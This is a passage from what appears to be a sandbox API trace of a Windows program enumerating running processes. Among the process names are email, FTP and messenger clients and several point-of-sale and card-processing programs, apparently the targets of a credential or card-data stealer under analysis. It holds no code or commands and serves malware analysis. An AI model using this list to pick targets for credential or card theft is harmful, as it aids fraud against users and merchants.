hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0121.801] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0121.804] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0121.808] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0121.812] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0121.815] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0121.819] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0121.822] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0121.826] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0121.829] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0121.832] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0121.844] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0121.847] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0121.856] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0121.860] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0121.863] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0121.866] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0121.869] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0121.872] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0121.875] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0121.878] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0121.881] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0121.884] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0121.887] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0121.890] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0121.893] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0121.896] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0121.899] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0121.903] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0121.906] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0121.909] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0121.912] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0121.916] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0121.918] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0121.921] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0121.923] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0121.926] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.928] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0121.930] CloseHandle (hObject=0x2054) returned 1 [0121.930] Sleep (dwMilliseconds=0x64) [0122.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e54 [0122.140] Process32First (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.142] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.144] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.147] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.149] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.164] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.166] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.169] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.171] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.207] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.210] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.212] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.214] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.216] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.218] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.221] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.223] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.225] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.227] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.229] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.231] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0122.233] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.248] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.251] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0122.254] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0122.256] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0122.257] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0122.259] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0122.262] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0122.264] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0122.265] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.267] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0122.269] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0122.271] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.273] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0122.275] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.276] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0122.278] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0122.280] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0122.282] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0122.284] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0122.285] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0122.287] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0122.289] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0122.291] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0122.293] Process32Next (in: hSnapshot=0x1e54, 